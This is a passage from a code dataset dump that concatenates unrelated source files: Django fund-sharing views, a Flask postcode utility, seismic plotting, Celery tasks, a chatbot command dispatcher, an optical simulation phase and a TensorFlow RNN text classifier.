request.GET.get('page')\n dues_page = paginator.get_page(page)\n\n dues = {}\n for username, funds_id, amount in dues_page.object_list:\n if username in dues:\n dues[username].update({funds_id: amount})\n else:\n dues.update({username: {funds_id: amount}})\n\n return render(request, 'account/account.html',{\n 'dues': dues,\n \"dues_page\": dues_page,\n 'account_value': acc.get_value(),\n 'user_name': request.user.username}\n )\n\n\n@login_required(login_url='login')\ndef funds(request, pk):\n funds = get_object_or_404(Funds, pk=pk)\n return render(request, 'account/funds.html', {'funds': funds})\n\n\n@login_required(login_url='login')\ndef myfunds(request):\n acc = Account.objects.get(user=request.user.id)\n paginator = Paginator(acc.funds_set.all().order_by('-date'), 8)\n page = request.GET.get('page')\n funds = paginator.get_page(page)\n return render(request, 'account/myfunds.html', {\"myfunds\": funds})\n\n\n@login_required(login_url='login')\ndef history(request):\n acc = Account.objects.get(user=request.user.id)\n paginator = Paginator(acc.get_history_funds(), 10)\n page = request.GET.get('page')\n history_funds = paginator.get_page(page)\n return render(request, 'account/history.html', {\"history_funds\": history_funds})\n\ndef post_funds(request, BeneficiaryFormSet, pk):\n form = FundsForm(request.POST)\n formset = BeneficiaryFormSet(request.POST)\n valid = False\n beneficiaries = {}\n if formset.is_valid() and form.is_valid():\n valid = True\n purpose = form.cleaned_data['purpose']\n purpose_price = form.cleaned_data['purpose_price']\n for f in formset:\n account = f.cleaned_data['account_id']\n contribution = f.cleaned_data['contribution']\n beneficiaries.update({account: contribution})\n else:\n for f in formset:\n if not f.is_valid():\n print(f.errors)\n\n if valid:\n if pk is None:\n funds = Funds.objects.create(\n owner=Account.objects.get(user=request.user),\n purpose=purpose,\n purpose_price=purpose_price\n )\n else:\n funds = Funds.objects.get(pk=pk)\n funds_manager = FundsManager(funds)\n funds_manager.update(purpose=purpose, purpose_price=purpose_price)\n funds_manager.update_beneficiaries(beneficiaries)\n return redirect(myfunds)\n\n return info_view(\"Nie udalo sie\")\n\n@login_required(login_url='login')\ndef edit_funds(request, pk):\n BeneficiaryFormSet = forms.formset_factory(BeneficiaryForm, extra=0)\n if request.method == 'POST':\n return post_funds(request, BeneficiaryFormSet, pk)\n else:\n funds = get_object_or_404(Funds, pk=pk)\n account = Account.objects.get(user=request.user)\n if account != funds.owner:\n return HttpResponse(\"Nie masz uprawnien do edytowania tej skladki\")\n form = FundsForm(initial={\n 'purpose': funds.purpose,\n 'purpose_price': funds.purpose_price\n })\n beneficiaries_form_set = []\n for beneficiary in funds.beneficiaries.all():\n beneficiaries_form_set.append({\n 'account_id': beneficiary.account.user.username,\n 'contribution': beneficiary.contribution\n })\n print(beneficiaries_form_set)\n formset = BeneficiaryFormSet(initial=beneficiaries_form_set)\n return render(request, 'account/edit_funds.html', {\n 'form': form,\n 'formset': formset,\n 'sum_of_contribution': funds.sum_of_contribution,\n 'owner': request.user.username\n })\n\n@login_required(login_url='login')\ndef new_funds(request):\n BeneficiaryFormSet = forms.formset_factory(BeneficiaryForm, extra=0)\n if request.method == 'POST':\n return post_funds(request, BeneficiaryFormSet, None)\n formset = BeneficiaryFormSet()\n form = FundsForm()\n return render(request, 'account/edit_funds.html', {\n 'form': form,\n 'formset': formset,\n 'sum_of_contribution': 0,\n 'owner': request.user.username\n })\n\n@login_required(login_url='login')\ndef delete_funds(request, pk):\n account = Account.objects.get(user=request.user)\n funds = get_object_or_404(Funds, pk=pk)\n if account != funds.owner:\n return redirect(myfunds)\n funds_manager = FundsManager(funds)\n funds_manager.delete_funds()\n return redirect(myfunds)\n\n\n@login_required(login_url='login')\ndef accounts(request):\n results = []\n if request.method == \"GET\":\n if u'query' in request.GET:\n value = request.GET[u'query']\n model_results = User.objects.filter(username__icontains=value)\n results = [x.username for x in model_results]\n return JsonResponse(json.dumps(results), safe=False)\n\n\n@login_required(login_url='login')\ndef new_notify(request):\n response = {\n \"new_notifications\": 0,\n \"message\": \"Nie ma nowej notyfikacji\"\n }\n if request.method == \"GET\":\n acc = Account.objects.get(user=request.user.id)\n new_notifications = acc.notifications_received.filter(seen=False)\n if new_notifications.exists():\n response[\"new_notifications\"] = new_notifications.count()\n response[\"message\"] = \"Sa nowe notyfikacje\"\n return JsonResponse(json.dumps(response), safe=False)\n\ndef send_notification(request):\n sent = None\n if request.method == \"GET\":\n if u'due_id' in request.GET:\n if u'due_type' in request.GET:\n due_type = int(request.GET[u'due_type'])\n due_id = request.GET[u'due_id']\n acc = Account.objects.get(user=request.user)\n due = Due.objects.get(pk=int(due_id))\n if due_type == 0:\n sent = acc.send_notification(due)\n elif due_type == 1:\n sent = acc.accept_notification(due)\n else:\n sent = acc.decline_notification(due)\n\n return sent\n\n@login_required(login_url='login')\ndef notify(request):\n response = {\n \"success\": False,\n \"message\": \"Nie udalo sie stworzyc notyfikacji\"\n }\n if request.method == \"GET\":\n if u'due_id' in request.GET:\n if u'due_type' in request.GET:\n due_type = int(request.GET[u'due_type'])\n due_id = request.GET[u'due_id']\n acc = Account.objects.get(user=request.user)\n due = Due.objects.get(pk=int(due_id))\n sent = acc.send_notification(due)\n if sent is not None:\n response[\"success\"] = True\n response[\"message\"] = \"Notyfikacja stworzona pomyslnie\"\n return JsonResponse(json.dumps(response), safe=False)\n\n@login_required(login_url='login')\ndef notify_back(request):\n if request.method == \"GET\":\n if u'noti_id' in request.GET:\n if u'answer' in request.GET:\n noti_id = int(request.GET[u'noti_id'])\n answer = int(request.GET[u'answer'])\n acc = Account.objects.get(user=request.user)\n noti = Notification.objects.get(pk=int(noti_id))\n noti.answered = True\n noti.save()\n due = noti.due\n if answer == 0:\n pass\n elif answer == 1:\n acc.accept_notification(due)\n else:\n acc.decline_notification(due)\n return redirect(notifications)\n\n@login_required(login_url='login')\ndef notifications(request):\n acc = Account.objects.get(user=request.user.id)\n paginator = Paginator(acc.notifications_received.filter(answered=False).order_by(\"-seen\",\"-latest_date\", \"-latest_datetime\"), 10)\n page = request.GET.get('page')\n notifications_received = paginator.get_page(page)\n for notification in acc.notifications_received.filter(seen=False):\n notification.seen = True\n notification.save()\n return render(request, 'account/notification.html',{\n \"notifications\": notifications_received,\n \"notification_types\": dict(Notification.Types.__members__)})\n pass\n","sub_path":"account/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9148,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"459703358","text":"#!/usr/bin python3\n\n# Imports\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n# Python:\nimport re\nfrom operator import itemgetter\nfrom typing import List, Dict, Union\nfrom functools import lru_cache\n\n# 3rd party:\nfrom flask import current_app as app\n\n# Internal:\nfrom ..common.caching import cache_client\nfrom ..common.data.queries import get_last_fortnight, change_by_metric\nfrom ..common.visualisation import plot_thumbnail, get_colour\nfrom ..common.data.variables import DestinationMetrics\n\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\npostcode_pattern = re.compile(r'(^[a-z]{1,2}\\d{1,2}[a-z]?\\s?\\d{1,2}[a-z]{1,2}$)', re.I)\nget_value = itemgetter(\"value\")\n\n# main_metric_names: List[str] = [\n# \"newCasesByPublishDate\",\n# \"newDeaths28DaysByPublishDate\",\n# \"newAdmissions\",\n# \"newPCRTestsByPublishDate\",\n# ]\n\n\n@lru_cache(maxsize=256)\ndef get_validated_postcode(params: dict) -> Union[str, None]:\n found = postcode_pattern.search(params.get(\"postcode\", \"\").strip())\n\n if found is not None:\n extract = found.group(0)\n return extract\n\n return None\n\n\n# @lru_cache(maxsize=256)\n\n\n@cache_client.memoize(60 * 60 * 6)\ndef get_card_data(timestamp: str, category: str, metric_data, graph=True, postcode=None):\n metric_name = DestinationMetrics[category][\"metric\"]\n change = change_by_metric(timestamp, category, postcode)\n\n colour = get_colour(change, metric_name)\n\n response = {\n \"data\": metric_data,\n \"change\": change,\n \"colour\": colour,\n \"latest_date\": metric_data[0][\"date\"].strftime('%-d %B %Y')\n }\n\n if graph:\n response[\"graph\"] = plot_thumbnail(metric_data, change, metric_name)\n\n return response\n\n\n@lru_cache(maxsize=256)\ndef get_fortnight_data(latest_timestamp: str,\n area_name: str = \"United Kingdom\") -> Dict[str, dict]:\n result = dict()\n\n for category, metric_data in DestinationMetrics.items():\n metric = DestinationMetrics[category][\"metric\"]\n metric_data = get_last_fortnight(latest_timestamp, area_name, category)\n result[metric] = get_card_data(latest_timestamp, category, metric_data)\n\n return result\n","sub_path":"app/postcode/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"297464130","text":"import matplotlib.pyplot as plt\nfrom mpl_toolkits.axes_grid1 import make_axes_locatable\nimport os\nfrom seismdb import SeismDb\nimport matplotlib\nimport logging\nfrom global_variable import *\n\n\nclass Drawer():\n def __init__(self):\n self.db = SeismDb()\n\n def drawTightMatrix(self, plane_name, depth, saveDir=''):\n matrix = self.db.queryMatrix(plane_name, depth)\n print(matrix)\n fig = plt.imshow(matrix, vmin=vmin, vmax=vmax, cmap=plt.get_cmap(\"Greys\"))\n fig.axes.get_xaxis().set_visible(False)\n fig.axes.get_yaxis().set_visible(False)\n if saveDir == '':\n plt.show()\n else:\n path = os.path.join(saveDir, '{0}.png'.format(depth))\n if os.path.exists(path):\n logging.info('{0}已存在'.format(depth))\n else:\n try:\n plt.savefig(path, bbox_inches='tight', pad_inches=0)\n logging.info('{0}_{1}绘制完成'.format(plane_name, depth))\n plt.close()\n except FileNotFoundError:\n os.mkdir(saveDir)\n plt.savefig(path, bbox_inches='tight', pad_inches=0)\n plt.ioff()\n plt.axis('off')\n\n def drawMatrix(self, plane_name, depth, saveDir=''):\n matrix = self.db.queryMatrix(plane_name, depth)\n fig, ax = plt.subplots()\n im = ax.matshow(matrix, vmin=vmin, vmax=vmax)\n divider = make_axes_locatable(ax)\n cax = divider.new_horizontal(size=\"5%\", pad=0.3, pack_start=False)\n fig.add_axes(cax)\n cbar = fig.colorbar(im, cax=cax, orientation=\"vertical\", extend='both')\n cbar.minorticks_on()\n if saveDir == '':\n plt.show()\n else:\n path = os.path.join(saveDir, '{0}.png'.format(depth))\n if os.path.exists(path):\n logging.info('{0}已存在'.format(depth))\n else:\n try:\n plt.savefig(path)\n plt.close(fig)\n logging.info('{0}_{1}绘制完成'.format(plane_name, depth))\n except FileNotFoundError:\n os.mkdir(saveDir)\n plt.savefig(path)\n plt.close(fig)\n\n def drawCoors(self, x, y):\n matrix = [self.db.queryByOneCoord(x, y)]\n fig = plt.imshow(matrix, vmin=vmin, vmax=vmax, aspect='auto')\n fig.axes.get_xaxis().set_visible(False)\n fig.axes.get_yaxis().set_visible(False)\n return fig\n\n def drawBound(self, ox, oy, tx, ty):\n matrix = self.db.queryBound(ox, oy, tx, ty)\n fig = plt.imshow(matrix, vmin=vmin, vmax=vmax, aspect='auto')\n fig.axes.get_xaxis().set_visible(False)\n fig.axes.get_yaxis().set_visible(False)\n return fig\n\n\ndef drawAll():\n logging.basicConfig(level=logging.INFO)\n matplotlib.use('Agg')\n plt.ioff()\n plt.axis('off')\n\n drawer = Drawer()\n \"\"\"\n for i in range(0, zDepth):\n drawer.drawTightMatrix(\"xy\", i, './imgs/xy/')\n \n for i in range(0,rowCount):\n drawer.drawTightMatrix('xz', i, './imgs/{0}/'.format('xz'))\n\n for i in range(0, colCount):\n drawer.drawTightMatrix('yz', i, './imgs/{0}/'.format('yz'))\n \"\"\"\n\n\nif __name__ == '__main__':\n drawer = Drawer()\n drawAll()\n","sub_path":"server/matrix.py","file_name":"matrix.py","file_ext":"py","file_size_in_byte":3314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"151513720","text":"from uuid import uuid4\n\nfrom sourced.ml.extractors.roles_and_ids import RolesAndIdsExtractor\nfrom sourced.ml.transformers import Ignition, UastExtractor, UastDeserializer, \\\n HeadFiles, Uast2BagFeatures, Cacher, UastRow2Document, CsvSaver\nfrom sourced.ml.transformers.basic import Rower\nfrom sourced.ml.utils import create_engine\nfrom sourced.ml.utils.engine import pause\n\n\n@pause\ndef repos2roles_and_ids_entry(args):\n engine = create_engine(\"repos2roles_and_ids-%s\" % uuid4(), **args.__dict__)\n\n Ignition(engine, explain=args.explain) \\\n .link(HeadFiles()) \\\n .link(UastExtractor(languages=args.languages)) \\\n .link(UastRow2Document()) \\\n .link(Cacher.maybe(args.persist)) \\\n .link(UastDeserializer()) \\\n .link(Uast2BagFeatures([RolesAndIdsExtractor(args.split)])) \\\n .link(Rower(lambda x: dict(identifier=x[0][0], role=x[1]))) \\\n .link(CsvSaver(args.output)) \\\n .execute()\n","sub_path":"sourced/ml/cmd_entries/repos2roles_and_ids.py","file_name":"repos2roles_and_ids.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"74469921","text":"from __future__ import absolute_import\n\nimport logging\nimport time\nfrom celery import shared_task\n\n# Get an instance of a logger\nlogger = logging.getLogger('erapp')\n\n@shared_task\ndef celery_test():\n\tlogger.info('running celery_test task...')\n\ttime.sleep(5)\n\tlogger.info('finishing long-running celery task')\n\n@shared_task\ndef parse_logs():\n\tlogger.info('parsing logs...')\n\ttime.sleep(5)\n\tlogger.info('finishing parsing logs')\n","sub_path":"erprototype/erapp/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"60047831","text":"import sys, json, asyncio, logging, os\n\nimport hangups\nfrom hangups.ui.utils import get_conv_name\n\nfrom utils import text_to_segments\n\n\nclass CommandDispatcher(object):\n \"\"\"Register commands and run them\"\"\"\n def __init__(self):\n self.commands = {}\n self.unknown_command = None\n\n\n @asyncio.coroutine\n def run(self, bot, event, *args, **kwds):\n \"\"\"Run command\"\"\"\n try:\n func = self.commands[args[0]]\n except KeyError:\n if self.unknown_command:\n func = self.unknown_command\n else:\n raise\n\n # Automatically wrap command function in coroutine\n # (so we don't have to write @asyncio.coroutine decorator before every command function)\n func = asyncio.coroutine(func)\n\n args = list(args[1:])\n\n try:\n yield from func(bot, event, *args, **kwds)\n except Exception as e:\n message = \"CommandDispatcher.run: {}\".format(func.__name__)\n print(\"EXCEPTION in \" + message)\n logging.exception(message)\n\n\n def register(self, func):\n \"\"\"Decorator for registering command\"\"\"\n self.commands[func.__name__] = func\n return func\n\n def register_unknown(self, func):\n \"\"\"Decorator for registering unknown command\"\"\"\n self.unknown_command = func\n return func\n\n\n# CommandDispatcher singleton\ncommand = CommandDispatcher()\n\n@command.register\ndef help(bot, event, cmd=None, *args):\n \"\"\"list supported commands\"\"\"\n if not cmd:\n admins_list = bot.get_config_suboption(event.conv_id, 'admins')\n\n commands_all = command.commands.keys()\n commands_admin = bot._handlers.get_admin_commands(event.conv_id)\n commands_nonadmin = list(set(commands_all) - set(commands_admin))\n\n text_html = 'User commands:
    ' + ', '.join(sorted(commands_nonadmin))\n if event.user_id.chat_id in admins_list:\n text_html = text_html + '
    Admin commands:
    ' + ', '.join(sorted(commands_admin))\n else:\n try:\n command_fn = command.commands[cmd]\n text_html = \"{}: {}\".format(cmd, command_fn.__doc__)\n except KeyError:\n yield from command.unknown_command(bot, event)\n return\n\n # help can get pretty long, so we send a short message publicly, and the actual help privately\n conv_1on1_initiator = bot.get_1on1_conversation(event.user.id_.chat_id)\n if conv_1on1_initiator:\n bot.send_message_parsed(conv_1on1_initiator, text_html)\n if conv_1on1_initiator.id_ != event.conv_id:\n bot.send_message_parsed(event.conv, \"{}, I've sent you some help ;)\".format(event.user.full_name))\n else:\n bot.send_message_parsed(event.conv, \"{}, before I can help you, you need to private message me and say hi.\".format(event.user.full_name))\n\n\n@command.register\ndef ping(bot, event, *args):\n \"\"\"reply to a ping\"\"\"\n bot.send_message(event.conv, 'pong')\n\n\n@command.register_unknown\ndef unknown_command(bot, event, *args):\n \"\"\"handle unknown commands\"\"\"\n bot.send_message(event.conv,\n '{}: unknown command'.format(event.user.full_name))","sub_path":"hangupsbot/commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":3228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"189669218","text":"import itertools\n\ndef fibonacci():\n a, b = 0, 1\n while True:\n yield b\n a, b = b, a+b\n\nf = fibonacci()\nnext(f) # 1\n[i for i in itertools.takewhile(lambda x: x < 100, f)]\n# [1, 2, 3, 5, 8, 13, 21, 34, 55, 89]\n","sub_path":"fibonacci.py","file_name":"fibonacci.py","file_ext":"py","file_size_in_byte":227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"136490923","text":"from .ttypes import Types\nimport sys\n\nclass Column:\n\n def __init__(self, name, pos):\n self.name = name\n self.idx = pos\n self.data = []\n self.type = None\n\n def addData(self, data):\n if len(data) > 0:\n self.type = Types.getType(data[0])\n assert len(self.data) == 0\n self.data = data\n return self\n\n def appendElement(self, elem):\n assert type(elem) is not list or type(elem) is not tuple, \"Call addData when passing a list or tuple\"\n if self.type == None:\n self.type = Types.getType(elem)\n else:\n #assert type(elem) == self.type\n pass\n\n self.data.append(elem)\n return self\n\n # Create new list of values\n def indexOf(self, filter):\n \"\"\" Return a list of indexes of the elements of the column that satisfy:\n filter(i, c[i]) = True\n \"\"\"\n idx = []\n for i in range(len(self.data)):\n v = self.data[i]\n if filter(i, v): idx.append(i)\n return idx\n\n def collect(self, filter):\n \"\"\" Returns a list of the elements (e[i]) of the list that satisfy: filter(i, e[i]) = True \"\"\" \n \n values = []\n for i in range(len(self.data)):\n v = self.data[i]\n if (filter(i, v)): values.append(v)\n return values\n\n def remove(self, filter):\n \"\"\" Removes elements (e[i]) of this column that satisfy: filter(i, e[i]) = True\n The number of elements stored in this column may be fewer after calling this function.\n \"\"\"\n ndata = []\n for i in range(len(self.data)):\n v = self.data[i]\n if filter(i, v):\n pass\n else:\n ndata.append(v)\n self.data = ndata\n\n def clone(self):\n \"\"\" Returns an exact copy of this column that does not shared data with \n this column (deep-copy)\n \"\"\" \n c = Column(self.name, self.idx)\n c.addData(self.data.copy())\n return c\n\n def apply(self, func):\n \"\"\" Creates a new column with element i in this column as: c[i] = func(i, c[i]) \n Similar to apply, but it changes the values in place.\n \"\"\"\n nvals = []\n for i in range(len(self.data)):\n d = self.data[i]\n val = func(i, d)\n nvals.append(val)\n return nvals\n\n def map(self, func):\n \"\"\" Assign value to element i in this column as: c[i] = func(i, c[i]) \n Similar to apply, but it changes the values in place.\n \"\"\"\n nvals = []\n for i in range(len(self.data)):\n d = self.data[i]\n self.data[i] = func(i, d)\n return self\n\n def reduce(self, func, result):\n \"\"\" Applies func on each element of this column and returns the final result.\n The function func must have the type: func(i, e, result), where result is \n either the value passed to the function or the result of the last call to \n func.\n For example, to compute the minimum value of a column:\n c.reduce(func = lambda (i, e, result): e if e < result else result, result = BIG_NUMBER )\n \"\"\"\n \n for i in range(len(self.data)):\n e = self.data[i]\n result = func(i, e, result)\n return result\n\n def list(self, out = sys.stdout, writeName = False):\n \"\"\" Write elements of column to out. \"\"\"\n if writeName: print(self.name) \n for e in self.data: print(e)\n \n def __str__(self):\n s = \"Col[%4s]: \\t %20s \\t %4s< \\t %6d\"%(self.idx, self.name, self.type, len(self.data) )\n return s\n\n def __getitem__(self, idx):\n assert idx < len(self.data)\n return self.data[idx]\n\n def __len__(self):\n return len(self.data)\n\n def __iter__(self):\n for v in self.data:\n yield v\n\nif __name__ == \"__main__\":\n c = Column(\"Waste\", 0)\n c.addData([1,2,3,4,5])\n print(c)\n\n sum = c.reduce(func = lambda i, d, result: result + d, result = 0)\n print(\"sum: %d\"%sum)\n\n min = c.reduce(func = lambda i, d, result: result if result < d else d, result=100000)\n print(\"min: %d\"%min)","sub_path":"src/column.py","file_name":"column.py","file_ext":"py","file_size_in_byte":4234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"128941856","text":"\nimport os, sys\n\nfrom ism.src.initIsm import initIsm\nfrom math import pi\nfrom ism.src.mtf import mtf\nfrom numpy.fft import fftshift, ifft2, fft2\nimport numpy as np\nfrom common.io.writeToa import writeToa\nfrom common.io.readIsrf import readIsrf\nfrom scipy.interpolate import interp1d, interp2d\nfrom common.plot.plotMat2D import plotMat2D\nfrom common.plot.plotF import plotF\nfrom scipy.signal import convolve2d\nfrom common.src.auxFunc import getIndexBand\n\nclass opticalPhase(initIsm):\n\n def __init__(self, auxdir, indir, outdir):\n super().__init__(auxdir, indir, outdir)\n\n def compute(self, sgm_toa, sgm_wv, band):\n \"\"\"\n The optical phase is in charge of simulating the radiance\n to irradiance conversion, the spatial filter (PSF)\n and the spectral filter (ISRF).\n :return: TOA image in irradiances [mW/m2/nm],\n with spatial and spectral filter\n \"\"\"\n self.logger.info(\"EODP-ALG-ISM-1000: Optical stage\")\n\n # Calculation and application of the ISRF\n # -------------------------------------------------------------------------------\n self.logger.info(\"EODP-ALG-ISM-1010: Spectral modelling. ISRF\")\n toa = self.spectralIntegration(sgm_toa, sgm_wv, band)\n\n self.logger.debug(\"TOA [0,0] \" +str(toa[0,0]) + \" [e-]\")\n\n if self.ismConfig.save_after_isrf:\n saveas_str = self.globalConfig.ism_toa_isrf + band\n\n writeToa(self.outdir, saveas_str, toa)\n # Radiance to Irradiance conversion\n # -------------------------------------------------------------------------------\n self.logger.info(\"EODP-ALG-ISM-1020: Radiances to Irradiances\")\n toa = self.rad2Irrad(toa,\n self.ismConfig.D,\n self.ismConfig.f,\n self.ismConfig.Tr)\n\n self.logger.debug(\"TOA [0,0] \" +str(toa[0,0]) + \" [e-]\")\n\n # Spatial filter\n # -------------------------------------------------------------------------------\n # Calculation and application of the system MTF\n self.logger.info(\"EODP-ALG-ISM-1030: Spatial modelling. PSF/MTF\")\n myMtf = mtf(self.logger)\n Hsys = myMtf.system_mtf(toa.shape[0], toa.shape[1],\n self.ismConfig.D, self.ismConfig.wv[getIndexBand(band)], self.ismConfig.f, self.ismConfig.pix_size,\n self.ismConfig.kLF, self.ismConfig.wLF, self.ismConfig.kHF, self.ismConfig.wHF,\n self.ismConfig.defocus, self.ismConfig.ksmear, self.ismConfig.kmotion,\n self.outdir, band)\n\n toa = self.applySysMtf(toa, Hsys) # always calculated\n\n self.logger.debug(\"TOA [0,0] \" +str(toa[0,0]) + \" [e-]\")\n\n # Write output TOA & plots\n # -------------------------------------------------------------------------------\n if self.ismConfig.save_optical_stage:\n saveas_str = self.globalConfig.ism_toa_optical + band\n\n writeToa(self.outdir, saveas_str, toa)\n\n title_str = 'TOA after the optical phase [mW/sr/m2]'\n xlabel_str='ACT'\n ylabel_str='ALT'\n plotMat2D(toa, title_str, xlabel_str, ylabel_str, self.outdir, saveas_str)\n\n idalt = int(toa.shape[0]/2)\n saveas_str = saveas_str + '_alt' + str(idalt)\n plotF([], toa[idalt,:], title_str, xlabel_str, ylabel_str, self.outdir, saveas_str)\n\n return toa\n\n def rad2Irrad(self, toa, D, f, Tr):\n \"\"\"\n Radiance to Irradiance conversion\n :param toa: Input TOA image in radiances [mW/sr/m2]\n :param D: Pupil diameter [m]\n :param f: Focal length [m]\n :param Tr: Optical transmittance [-]\n :return: TOA image in irradiances [mW/m2]\n \"\"\"\n\n TOA_I = toa*Tr*np.pi/4*((D/f)**2)\n\n return TOA_I\n\n\n def applySysMtf(self, toa, Hsys):\n \"\"\"\n Application of the system MTF to the TOA\n :param toa: Input TOA image in irradiances [mW/m2]\n :param Hsys: System MTF\n :return: TOA image in irradiances [mW/m2]\n \"\"\"\n\n toa_fft = fft2(toa)\n Hsys_shift = fftshift(Hsys)\n toa_MTF = toa_fft*Hsys_shift\n toa_ft = ifft2(toa_MTF)\n tol = np.ones(toa_ft.shape)*1e-10\n if (toa_ft.imag < tol).all:\n toa_ft = toa_ft.real\n\n\n return toa_ft\n\n\n def spectralIntegration(self, sgm_toa, sgm_wv, band):\n \"\"\"\n Integration with the ISRF to retrieve one band\n :param sgm_toa: Spectrally oversampled TOA cube 3D in irradiances [mW/m2]\n :param sgm_wv: wavelengths of the input TOA cube\n :param band: band\n :return: TOA image 2D in radiances [mW/m2]\n \"\"\"\n isrf, wv_isrf = readIsrf(self.auxdir+os.path.sep+self.ismConfig.isrffile, band)\n wv_isrf = wv_isrf*1e3 # [nm]\n\n isrf_norm = isrf/np.sum(isrf)\n toa = np.zeros((sgm_toa.shape[0],sgm_toa.shape[1]))\n\n for ialt in range(0,sgm_toa.shape[0]):\n for iact in range(0, sgm_toa.shape[1]):\n cs = interp1d(sgm_wv, sgm_toa[ialt,iact,:], fill_value=(0, 0), bounds_error=False)\n toa_interp = cs(wv_isrf)\n toa[ialt,iact] = np.sum(toa_interp*isrf_norm)\n\n return toa\n","sub_path":"ism/src/opticalPhase.py","file_name":"opticalPhase.py","file_ext":"py","file_size_in_byte":5336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"15878219","text":"import numpy as np\r\nimport pandas\r\nimport tensorflow as tf\r\nimport pylab as plt\r\nimport csv\r\n\r\n\r\nMAX_DOCUMENT_LENGTH = 100\r\nHIDDEN_SIZE = 20\r\nMAX_LABEL = 15\r\nEMBEDDING_SIZE = 20\r\nbatch_size = 128\r\nis_dropout = True\r\nkeep_prob = 0.5\r\nmodel = 'lstm'\r\nlayer = 1\r\n\r\nno_epochs = 1000\r\nlr = 0.01\r\n\r\ntf.logging.set_verbosity(tf.logging.ERROR)\r\nseed = 10\r\ntf.set_random_seed(seed)\r\n\r\n\r\ndef char_rnn_model(x, is_dropout, keep_prob, model):\r\n\r\n byte_vectors = tf.one_hot(x, 256)\r\n byte_list = tf.unstack(byte_vectors, axis=1)\r\n\r\n with tf.variable_scope('RNN_1'):\r\n\r\n # choose cell type\r\n if model == 'rnn':\r\n cell_fn = tf.nn.rnn_cell.BasicRNNCell\r\n elif model == 'gru':\r\n cell_fn = tf.nn.rnn_cell.GRUCell\r\n elif model == 'lstm':\r\n cell_fn = tf.nn.rnn_cell.LSTMCell\r\n\r\n # multi-layer cell\r\n if(layer > 1):\r\n cell1 = cell_fn(HIDDEN_SIZE,reuse = tf.get_variable_scope().reuse)\r\n cell2 = cell_fn(HIDDEN_SIZE,reuse = tf.get_variable_scope().reuse)\r\n cell = tf.nn.rnn_cell.MultiRNNCell([cell1,cell2])\r\n else:\r\n cell = cell_fn(HIDDEN_SIZE)\r\n\r\n if is_dropout:\r\n cell = tf.nn.rnn_cell.DropoutWrapper(cell,input_keep_prob= keep_prob,output_keep_prob= keep_prob)\r\n\r\n _, encoding = tf.nn.static_rnn(cell, byte_list, dtype=tf.float32)\r\n\r\n if isinstance(encoding, tuple):\r\n encoding = encoding[-1]\r\n\r\n logits = tf.layers.dense(encoding, MAX_LABEL, activation=None)\r\n\r\n return logits\r\n\r\ndef word_rnn_model(x, is_dropout, keep_prob, model):\r\n\r\n word_vectors = tf.contrib.layers.embed_sequence(\r\n x, vocab_size=n_words, embed_dim=EMBEDDING_SIZE)\r\n\r\n word_list = tf.unstack(word_vectors, axis=1)\r\n\r\n with tf.variable_scope('RNN_2'):\r\n\r\n # choose cell type\r\n if model == 'rnn':\r\n cell_fn = tf.nn.rnn_cell.BasicRNNCell\r\n elif model == 'gru':\r\n cell_fn = tf.nn.rnn_cell.GRUCell\r\n elif model == 'lstm':\r\n cell_fn = tf.nn.rnn_cell.LSTMCell\r\n\r\n # multi-layer cell\r\n if(layer > 1):\r\n cell1 = cell_fn(HIDDEN_SIZE,reuse = tf.get_variable_scope().reuse)\r\n cell2 = cell_fn(HIDDEN_SIZE,reuse = tf.get_variable_scope().reuse)\r\n cell = tf.nn.rnn_cell.MultiRNNCell([cell1,cell2])\r\n else:\r\n cell = cell_fn(HIDDEN_SIZE)\r\n\r\n if is_dropout:\r\n cell = tf.nn.rnn_cell.DropoutWrapper(cell,input_keep_prob= keep_prob,output_keep_prob= keep_prob)\r\n\r\n _, encoding = tf.nn.static_rnn(cell, word_list, dtype=tf.float32)\r\n\r\n if isinstance(encoding, tuple):\r\n encoding = encoding[-1]\r\n\r\n logits = tf.layers.dense(encoding, MAX_LABEL, activation=None)\r\n\r\n return logits\r\n\r\n\r\ndef data_read_words():\r\n \r\n x_train, y_train, x_test, y_test = [], [], [], []\r\n \r\n with open('train_medium.csv', encoding='utf-8') as filex:\r\n reader = csv.reader(filex)\r\n for row in reader:\r\n x_train.append(row[2])\r\n y_train.append(int(row[0]))\r\n\r\n with open(\"test_medium.csv\", encoding='utf-8') as filex:\r\n reader = csv.reader(filex)\r\n for row in reader:\r\n x_test.append(row[2])\r\n y_test.append(int(row[0]))\r\n \r\n x_train = pandas.Series(x_train)\r\n y_train = pandas.Series(y_train)\r\n x_test = pandas.Series(x_test)\r\n y_test = pandas.Series(y_test)\r\n y_train = y_train.values\r\n y_test = y_test.values\r\n \r\n vocab_processor = tf.contrib.learn.preprocessing.VocabularyProcessor(\r\n MAX_DOCUMENT_LENGTH)\r\n\r\n x_transform_train = vocab_processor.fit_transform(x_train)\r\n x_transform_test = vocab_processor.transform(x_test)\r\n\r\n x_train = np.array(list(x_transform_train))\r\n x_test = np.array(list(x_transform_test))\r\n\r\n no_words = len(vocab_processor.vocabulary_)\r\n print('Total words: %d' % no_words)\r\n\r\n return x_train, y_train, x_test, y_test, no_words\r\n\r\ndef 